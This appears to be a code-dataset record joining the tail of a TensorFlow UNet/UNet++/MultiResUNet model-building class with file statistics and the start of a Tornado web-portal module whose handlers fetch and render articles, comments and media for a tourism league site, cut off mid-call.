upConv_Block(conv)), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif (i == 1) and (j < (self.model_depth - 1)): deconv = Conv_Block(Concat_Block(convs_list[j], upConv_Block(convs_list[j + 1])), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif i > 1: deconv = Conv_Block(Concat_Block(deconvs["deconv%s%s" % (j, (i - 1))], upConv_Block(deconvs["deconv%s%s" % ((j + 1), (i - 1))])), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv if (self.D_S == 1) and (j == 0) and (i < self.model_depth): level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth - i}')(deconvs["deconv%s%s" % (j, i)]) levels.append(level) deconv = deconvs["deconv%s%s" % (0, self.model_depth)] # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNetP_v2(self): """Variable UNet+ Model Design - Version 2""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if self.A_E == 0: conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif self.A_E == 1: latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) if self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(convs_list[0]) levels.append(level) deconvs = {} for i in range(1, (self.model_depth + 1)): for j in range(0, (self.model_depth - i + 1)): if (i == 1) and (j == (self.model_depth - 1)): deconv = trans_conv2D(conv, self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif (i == 1) and (j < (self.model_depth - 1)): deconv = trans_conv2D(convs_list[j + 1], self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif i > 1: deconv = trans_conv2D(deconvs["deconv%s%s" % ((j + 1), (i - 1))], self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(deconvs["deconv%s%s" % (j, (i - 1))], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv if (self.D_S == 1) and (j == 0) and (i < self.model_depth): level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth - i}')(deconvs["deconv%s%s" % (j, i)]) levels.append(level) deconv = deconvs["deconv%s%s" % (0, self.model_depth)] # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNetPP(self): """Variable UNet++ Model Design""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if self.A_E == 0: conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif self.A_E == 1: latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) if self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(convs_list[0]) levels.append(level) deconvs = {} for i in range(1, (self.model_depth + 1)): for j in range(0, (self.model_depth - i + 1)): if (i == 1) and (j == (self.model_depth - 1)): deconv = Conv_Block(Concat_Block(convs_list[j], upConv_Block(conv)), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif (i == 1) and (j < (self.model_depth - 1)): deconv = Conv_Block(Concat_Block(convs_list[j], upConv_Block(convs_list[j + 1])), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif i > 1: deconv_tot = deconvs["deconv%s%s" % (j, 1)] for k in range(2, i): deconv_temp = deconvs["deconv%s%s" % (j, k)] deconv_tot = Concat_Block(deconv_tot, deconv_temp) deconv = Conv_Block(Concat_Block(convs_list[j], deconv_tot, upConv_Block(deconvs["deconv%s%s" % ((j + 1), (i - 1))])), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv if (self.D_S == 1) and (j == 0) and (i < self.model_depth): level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth - i}')(deconvs["deconv%s%s" % (j, i)]) levels.append(level) deconv = deconvs["deconv%s%s" % (0, self.model_depth)] # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNetPP_v2(self): """Variable UNet++ Model Design - Version 2""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if self.A_E == 0: conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif self.A_E == 1: latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) if self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(convs_list[0]) levels.append(level) deconvs = {} for i in range(1, (self.model_depth + 1)): for j in range(0, (self.model_depth - i + 1)): if (i == 1) and (j == (self.model_depth - 1)): deconv = trans_conv2D(conv, self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif (i == 1) and (j < (self.model_depth - 1)): deconv = trans_conv2D(convs_list[j + 1], self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif i > 1: deconv_tot = deconvs["deconv%s%s" % (j, 1)] for k in range(2, i): deconv_temp = deconvs["deconv%s%s" % (j, k)] deconv_tot = Concat_Block(deconv_tot, deconv_temp) deconv = trans_conv2D(deconvs["deconv%s%s" % ((j + 1), (i - 1))], self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv_tot, deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv if (self.D_S == 1) and (j == 0) and (i < self.model_depth): level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth - i}')(deconvs["deconv%s%s" % (j, i)]) levels.append(level) deconv = deconvs["deconv%s%s" % (0, self.model_depth)] # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def MultiResUNet(self): ''' 1D MultiResUNet with an option for Deep Supervision and/or being used as an AutoEncoder ''' if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") mresblocks = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) mresblock = MultiResBlock(inputs, self.model_width, self.kernel_size, 2 ** 0, self.alpha) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(mresblock) mresblocks["mres%s" % i] = ResPath(mresblock, self.model_depth, self.model_width, self.kernel_size, 2 ** 0) for i in range(2, (self.model_depth + 1)): mresblock = MultiResBlock(pool, self.model_width, self.kernel_size, 2 ** (i - 1), self.alpha) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(mresblock) mresblocks["mres%s" % i] = ResPath(mresblock, (self.model_depth- i + 1), self.model_width, self.kernel_size, 2 ** (i - 1)) # Collect Latent Features or Embeddings from AutoEncoders if (self.A_E == 0) and (self.D_S == 0): mresblock = MultiResBlock(pool, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) elif (self.A_E == 0) and (self.D_S == 1): mresblock = MultiResBlock(pool, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(mresblock) levels.append(level) elif (self.A_E == 1) and (self.D_S == 0): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) mresblock = MultiResBlock(latent, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) elif (self.A_E == 1) and (self.D_S == 1): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) mresblock = MultiResBlock(latent, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(mresblock) levels.append(level) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding mresblocks_list = list(mresblocks.values()) deconv = MultiResBlock(Concat_Block(upConv_Block(mresblock), mresblocks_list[self.model_depth - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - 1), self.alpha) for j in range(1, self.model_depth): if self.D_S == 0: deconv = MultiResBlock(Concat_Block(upConv_Block(deconv), mresblocks_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1), self.alpha) elif self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth - j}')(deconv) levels.append(level) deconv = MultiResBlock(Concat_Block(upConv_Block(deconv), mresblocks_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1), self.alpha) else: print("ERROR: Please Check the Values of the Input Parameters!") # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def MultiResUNet_v2(self): ''' 1D MultiResUNet with an option for Deep Supervision and/or being used as an AutoEncoder - Version 2''' if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") mresblocks = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) mresblock = MultiResBlock(inputs, self.model_width, self.kernel_size, 2 ** 0, self.alpha) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(mresblock) mresblocks["mres%s" % i] = ResPath(mresblock, self.model_depth, self.model_width, self.kernel_size, 2 ** 0) for i in range(2, (self.model_depth + 1)): mresblock = MultiResBlock(pool, self.model_width, self.kernel_size, 2 ** (i - 1), self.alpha) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(mresblock) mresblocks["mres%s" % i] = ResPath(mresblock, (self.model_depth- i + 1), self.model_width, self.kernel_size, 2 ** (i - 1)) # Collect Latent Features or Embeddings from AutoEncoders if (self.A_E == 0) and (self.D_S == 0): mresblock = MultiResBlock(pool, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) elif (self.A_E == 0) and (self.D_S == 1): mresblock = MultiResBlock(pool, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(mresblock) levels.append(level) elif (self.A_E == 1) and (self.D_S == 0): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) mresblock = MultiResBlock(latent, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) elif (self.A_E == 1) and (self.D_S == 1): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) mresblock = MultiResBlock(latent, self.model_width, self.kernel_size, 2 ** self.model_depth, self.alpha) level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(mresblock) levels.append(level) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding mresblocks_list = list(mresblocks.values()) deconv = MultiResBlock(Concat_Block(trans_conv2D(mresblock, self.model_width, 2 ** (self.model_depth - 1)), mresblocks_list[self.model_depth - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - 1), self.alpha) for j in range(1, self.model_depth): if self.D_S == 0: deconv = MultiResBlock(Concat_Block(trans_conv2D(deconv, self.model_width, 2 ** (self.model_depth - j - 1)), mresblocks_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1), self.alpha) elif self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth - j}')(deconv) levels.append(level) deconv = MultiResBlock(Concat_Block(trans_conv2D(deconv, self.model_width, 2 ** (self.model_depth - j - 1)), mresblocks_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1), self.alpha) else: print("ERROR: Please Check the Values of the Input Parameters!") # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model

55.103104

250

0.589119

6,706

49,703

4.213093

0.033105

0.117545

0.092663

0.101228

0.919301

0.912469

0.903904

0.899586

0.89548

0.893003

0

0.023618

0.276764

49,703

901

251

55.164262

0.762345

0.051486

0

0.889543

0

0.069727

0.01177

0

1

0.02651

false

0

0.001473

0

0.054492

0.035346

0

null

0

1

0

1

0

null

0

7

6fd55dbfb5d52856551cb41a03f1bb3ea8af9663

52,676

py

Python

foo/portal/newsup.py

ThomasZh/legend-league-portal

df06ac05ea506c3e257517716b6d692b69c8bf6b

[ "Apache-2.0" ]

null

foo/portal/newsup.py

ThomasZh/legend-league-portal

df06ac05ea506c3e257517716b6d692b69c8bf6b

[ "Apache-2.0" ]

null

foo/portal/newsup.py

ThomasZh/legend-league-portal

df06ac05ea506c3e257517716b6d692b69c8bf6b

[ "Apache-2.0" ]

null

#!/usr/bin/env python # _*_ coding: utf-8_*_ # # Copyright 2016 planc2c.com # thomas@time2box.com # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import tornado.web import logging import time import sys import os import uuid import smtplib import json as JSON # 启用别名，不会跟方法里的局部变量混淆 from bson import json_util sys.path.insert(0, os.path.join(os.path.dirname(__file__), "../")) sys.path.insert(0, os.path.join(os.path.dirname(__file__), "../dao")) from tornado.escape import json_encode, json_decode from tornado.httpclient import * from tornado.httputil import url_concat from bson import json_util from comm import * from global_const import * class WxMpVerifyHandler(tornado.web.RequestHandler): def get(self): self.finish('qdkkOWgyqqLTrijx') return class NewsupLoginNextHandler(tornado.web.RequestHandler): def get(self): login_next = self.get_secure_cookie("login_next") logging.info("got login_next %r",login_next) if login_next: self.redirect(login_next) else: self.redirect("/portal/newsup/index") class NewsupIndexHandler(BaseHandler): def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() # franchises(景区) params = {"filter":"league", "franchise_type":"景区", "page":1, "limit":5} url = url_concat(API_DOMAIN+"/api/leagues/"+LEAGUE_ID+"/clubs", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) rs = data['rs'] franchises = rs['data'] for franchise in franchises: franchise['create_time'] = timestamp_friendly_date(franchise['create_time']) # suppliers(供应商) params = {"filter":"league", "franchise_type":"供应商", "page":1, "limit":5} url = url_concat(API_DOMAIN+"/api/leagues/"+LEAGUE_ID+"/clubs", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) rs = data['rs'] suppliers = rs['data'] for supplier in suppliers: supplier['create_time'] = timestamp_friendly_date(supplier['create_time']) # sceneries(景点) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"41c057a6f73411e69a3c00163e023e51", "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) sceneries = data['rs'] for article in sceneries: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # journey(游记) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"01d6120cf73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) journeies = data['rs'] for article in journeies: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":8} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] for multimedia in multimedias: multimedia['publish_time'] = timestamp_friendly_date(multimedia['publish_time']) # notices params = {"filter":"league", "league_id":LEAGUE_ID, "page":1, "limit":3} url = url_concat(API_DOMAIN+"/api/notice-board", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) notices = data['rs'] is_login = False access_token = self.get_secure_cookie("access_token") logging.info("got access_token>>>>> %r",access_token) if access_token: is_login = True self.render('newsup/index.html', is_login=is_login, franchises=franchises, suppliers=suppliers, sceneries=sceneries, journeies=journeies, news=news, populars=populars, hots=hots, league_info=league_info, activities=activities, lastest_comments=lastest_comments, multimedias=multimedias, api_domain=API_DOMAIN, notices=notices['data']) class NewsupAccountHandler(AuthorizationHandler): @tornado.web.authenticated # if no session, redirect to login page def get(self): logging.info(self.request) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True # league(联盟信息) league_info = self.get_league_info() headers = {"Authorization":"Bearer "+access_token} url = API_DOMAIN+"/api/myinfo?filter=login" http_client = HTTPClient() response = http_client.fetch(url, method="GET", headers=headers) logging.info("got response %r", response.body) data = json_decode(response.body) user = data['rs'] self.render('newsup/account.html', is_login=is_login, league_info=league_info, user = user, access_token=access_token, api_domain=API_DOMAIN, upyun_domain=UPYUN_DOMAIN, upyun_notify_url=UPYUN_NOTIFY_URL, upyun_form_api_secret=UPYUN_FORM_API_SECRET, upyun_bucket=UPYUN_BUCKET) class NewsupAuthorHandler(BaseHandler): def get(self): logging.info(self.request) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True # league(联盟信息) league_info = self.get_league_info() # news(新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"30a56cb8f73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) self.render('newsup/author.html', is_login=is_login, league_info=league_info, news=news, populars=populars, activities=activities, api_domain=API_DOMAIN, lastest_comments=lastest_comments) class NewsupMediaHandler(BaseHandler): def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":14} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] # news(新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"30a56cb8f73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/media.html', is_login=is_login, league_info=league_info, news=news, 